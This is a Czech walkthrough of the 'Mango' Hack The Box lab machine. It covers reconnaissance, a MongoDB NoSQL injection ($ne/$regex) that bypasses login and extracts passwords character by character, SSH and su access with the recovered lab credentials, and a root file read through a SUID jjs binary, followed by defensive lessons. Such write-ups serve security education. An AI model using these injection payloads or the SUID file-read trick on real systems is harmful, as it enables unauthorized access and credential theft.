Mango
Úvod a kontext
Mango je dobrý příklad NoSQL injection, která sama o sobě ještě nedává shell, ale zato vydá reálné přihlašovací údaje. Z certifikátu a exponovaného vendor/ adresáře vyplyne, že aplikace pracuje s MongoDB. Přihlašovací formulář pak jde obejít pomocí operátorů jako $ne a $regex, takže se dají postupně vytáhnout celé dvojice uživatel:heslo.
Zbytek řetězce je už o reuse těchto dat. Jedno heslo otevře SSH jako mango, druhé dovolí přepnout se na admin a odtud už vede k rootu neobvyklá SUID binárka jjs.
Počáteční průzkum
Certifikát pro staging-order.mango.htb
Základní scan ukáže Apache na 80 a 443 a v TLS certifikátu hned vypadne důležitý hostname staging-order.mango.htb. To je silná indicie, že za HTTPS běží samostatná staging aplikace, kterou je potřeba přidat do /etc/hosts a zkoumat odděleně.
nmap -p 1-65535 -T4 -A -sC -v $IP
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
ssl-cert: Subject: commonName=staging-order.mango.htb
vendor/composer prozradí MongoDB
Na staging webu dirb najde veřejně přístupný vendor/composer/installed.json. V něm jsou balíčky alcaeus/mongo-php-adapter a mongodb/mongodb, takže přihlašovací formulář stojí za test NoSQL injection místo klasické SQLi.
dirb http://staging-order.mango.htb
http://staging-order.mango.htb/vendor/
http://staging-order.mango.htb/vendor/composer/installed.json
alcaeus/mongo-php-adapter
mongodb/mongodb
Analýza zjištění
NoSQL injection přes $ne a $regex
První test username[$ne]=toto&password[$ne]=toto potvrdí, že backend interpretuje MongoDB operátory přímo z požadavku. To znamená, že formulář lze použít nejen k obejití loginu, ale i k postupnému zjišťování jmen a hesel přes prefixové regexy.
?login=login&username[$ne]=toto&password[$ne]=toto
Draft obsahuje i jednoduchý skript, který pomocí $regex prochází znak po znaku jak uživatelská jména, tak hesla. Výsledkem jsou dvě důležité dvojice: mango / h3mXK8RhU~f{]f5H a admin / t9KcS3>!0B#2.
python3 Mango-crackLogin.py
=> Credentials found: {'admin': 't9KcS3>!0B#2', 'mango': 'h3mXK8RhU~f{]f5H'}
Získání přístupu
SSH jako mango, pak su admin
První použitelné přihlašovací údaje jsou ty pro uživatele mango. Ty fungují přímo na SSH, takže není potřeba další webový exploit. Na hostu se pak vyplatí hned zkusit druhé nalezené heslo proti su admin, protože právě účet admin drží user.txt a zároveň otevírá cestu k rootu.
ssh mango@$IP
su admin
h3mXK8RhU~f{]f5H
t9KcS3>!0B#2
Získání user flagu
Foothold je na Mango záměrně dvoustupňový. SSH jako mango je jen mezistanice; teprve admin představuje plnohodnotný lokální kontext.
cat user.txt
__CENSORED__
Eskalace oprávnění
SUID jjs
Na účtu admin už stačí projít SUID binárky. Z nich vystupuje jjs, JavaScript shell pro Nashorn. Pokud běží se zvýšenými právy, dá se přes Java API přímo číst libovolný soubor. Tím pádem není nutné spawnovat root shell; pro flag stačí otevřít /root/root.txt.
find / -perm -4000 -type f 2>/dev/null
=> /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs
__CENSORED__
Shrnutí klíčových poznatků
- První důležitá stopa nepřišla z formuláře samotného, ale z certifikátu a exponovaného
vendor/composer, které prozradily MongoDB backend. - NoSQL injection na Mango nesloužila k jednorázovému bypassu, ale k systematickému získání skutečných přihlašovacích údajů pro
mangoaadmin. - Root část ukazuje, že i neobvyklé runtime utility jako
jjsmohou být při SUID bitu stejně nebezpečné jako klasické shellové binárky.
Co si odnést do praxe
vendor/,installed.jsona podobné vývojové artefakty nemají být veřejně dostupné. Na Mango právě ony zúžily prostor hledání z obecného webu na konkrétní typ injekce.- Backend nesmí bez filtrace převádět uživatelský vstup na MongoDB operátory. Jakmile aplikace pustí
$nenebo$regex, je z login formuláře nástroj pro extrakci hesel. - SUID binárky je potřeba kontrolovat i mimo tradiční kandidáty. Interpreter, který umí číst soubory přes standardní knihovny, je při zvýšených právech prakticky univerzální primitivum.